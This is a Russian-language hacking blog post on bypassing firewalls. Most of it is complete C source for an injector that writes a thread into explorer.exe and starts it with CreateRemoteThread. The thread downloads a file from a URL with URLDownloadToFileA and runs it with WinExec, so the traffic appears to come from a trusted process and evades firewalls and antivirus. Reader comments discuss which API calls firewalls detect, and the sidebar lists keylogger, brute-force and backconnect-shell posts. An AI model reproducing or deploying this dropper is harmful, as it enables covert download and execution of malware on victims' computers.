Темой сегодняшнего поста станет актуальная на данный момент мысль — обход firewall‘a. На самом деле, это уже давно известный прием, так что вам придется изрядно попотеть, чтобы надуть антивирус, который будет кричать, как свинья. Также параллельно здесь я рассмотрю способ инжекта в чужой процесс не используя DLL.

4407271 300x201 Обход firewallКонечно же данный метод вы должны использовать на свой страх и риск. Я ни к чему вас не принуждаю. Разумеется, в конце поста я приведу полный исходник своего мини — инжектора, который обходит firewall, но зато палится всем, чем только можно.

Так о чем это я? Ах да, инжектор… Первым делом нам нужно определится, куда совать свои грязные щупальца. Как только мы сделали свой выбор — а нам нужен процесс, который имеет право выхода в интернет, то можно будет уже приступать. Для примера я выбрал в качестве подопытного — explorer.exe (хоть это и не сетевой процесс, но у нас и не настоящее поле битвы). После этого нам нужно получить PID процесса. Это уникальный номер процесса в системе, по которому его можно однозначно идентифицировать. От как сказал… Так вот код данного действа:

DWORD GetPid(char *szExe)
{
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        PROCESSENTRY32 entry;
        Process32First(hSnapshot,&entry);
        do
        {
                if(strcmp(entry.szExeFile,szExe)==0)
                        return entry.th32ProcessID;
        }while(Process32Next(hSnapshot,&entry));
        return 0;
}

Сначала снапшотим текущее состояние системы, затем получаем первый процесс, если имя процесса соответствует искомому, то возвращаем PID искомого. Иначе продолжаем искать, пока Process32Next не вернет сообщение о том, что записей в снапшоте больше нет (false). Если не найдено, то вернем нулик. Итак, тут все чики-пуки, PID узнали, едем дальше. Теперь нужно подумать, какие параметры будет принимать наш тред-лазутчик. Итак, вот мой список:

  • Указатель на функцию URLDownloadToFileA
  • Указатель на функцию WinExec
  • Переменную с именем скачанного файла
  • Переменную с путем файла в интернете

Код в студию!

typedef HRESULT (__stdcall *URLDTFA)(LPVOID pCaller,LPCTSTR szURL,LPCTSTR szFileName,DWORD dwReserved,LPVOID lpfnCB);
typedef UINT (WINAPI *WE)(LPCSTR lpCmdLine,UINT uCmdShow);

struct StartupInfo
{
        URLDTFA fURLDownloadToFileA;
        WE fWinExec;
        char szUrl[128];
        char szFileName[128];
};

Первые две строчки — это прототипы функций, а затем идет структура-параметр. Ну и до кучи, сейчас напишем и сам тред, благо он не большой и очень понятливый.

DWORD __stdcall InjectionProcedure(LPVOID p)
{
        StartupInfo *si = (StartupInfo *)p;

        si->fURLDownloadToFileA(NULL,si->szUrl,si->szFileName,NULL,NULL);
        si->fWinExec(si->szFileName,SW_SHOW);

        return 0;
}

Он просто вызывает функции из параметра с теми параметрами, которые переданы в параметре. Масло масляное получается, но все же это именно так. А делает он это, получается, от чужого лица, что и вводит в заблуждение невинные программки. Теперь все готово к основному действу. А что нам нужно для этого? Открыть процесс, выделить там память под тред и его параметр, и запустить его там. Вуаля:

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        StartupInfo si;
        memset(&si,0,sizeof(si));
        strcpy(si.szFileName,"имя_файла");
        strcpy(si.szUrl,"урла_с_файлом");

        si.fURLDownloadToFileA = (URLDTFA)GetProcAddress(LoadLibrary("urlmon.dll"),"URLDownloadToFileA");
        si.fWinExec = (WE)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");

        //----------------------------------------------------------------------------------

        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,GetPid("explorer.exe"));

        LPVOID lpThread = VirtualAllocEx(hProcess,NULL,4096,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        LPVOID lpParametr = VirtualAllocEx(hProcess,NULL,sizeof(si),MEM_COMMIT,PAGE_READWRITE);

        DWORD dwWritten;

        WriteProcessMemory(hProcess,lpThread,InjectionProcedure,4096,&dwWritten);
        WriteProcessMemory(hProcess,lpParametr,&si,sizeof(si),&dwWritten);

        DWORD ThreadId;
        if(CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpThread,lpParametr,0,&ThreadId)==0)
                MessageBox(0,"ERROR","!",0);

        return 0;
}

Тадааам, вот и все. Нет ничего сложного. Это даже легче, чем сокеты. Изначально мы инициализируем параметр и открываем процесс. После VirtualAllocEx в первом своем вызове резервирует память под исполнение на чтение и запись — эта память нужна нам под тред, а во втором вызове она резервирует память под параметр. Дальше WriteProcessMemory последовательно пишет сначала тред, а потом его параметры. И уже в конце-концов вызываем CreateRemoteThread что создает поток. Все! Данный пример испытывался на Windows XP x32 и никаких нареканий не вызывал. Исходник можно скачать тут (здесь только сорец VC6! Никакого вируса!): скачать исходник

tt twitter big4 Обход firewall tt digg big4 Обход firewall tt facebook big4 Обход firewall tt gmail big4 Обход firewall tt myspace big4 Обход firewall tt reddit big4 Обход firewall

Комментарии (5) на “Обход firewall”

  • Владимир:

    почему под тред 4096? Код под 7 не будет работь) нужно посчитать точный размер. И ещё не помешали бы debug-привилегии) А вообще спасибо! Статья мотивирует разобраться в теме.

    ps любой более менее грамотный firewall палит OpenProcess.

    • Panterr63:

      - про тред. Потому что этот резмер тредом не превышается, а виртуальной памяти у любой программы 4 ГБ. Сколько желаешь, столько и выделяешь.
      - Про 7 — почему он не будет работать? У меня напротив на x64 семерке в x32 битный процесс этот инжект прошел — а с экспериментом не поспорить.
      - debug не помешало, но излишне
      - Любой более менее грамотный файрвол палит WriteProcessMemory + CreateRemoteThread. О OpenProcess уже нет и вопросов.

  • Владимир:

    на счёт CreateRemoteThread не согласен. Если бы это было бы так, то любые firewall’ы ругались бы на любой процесс — т.к. CreateThread это wrapper для CreateRemoteThread( CreateThread — частный случай CreateRemoteThread)

  • Владимир:

    правда если ты имеешь ввиду связку функций WriteProcessMemory + CreateRemoteThread то тогда да, может быть

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++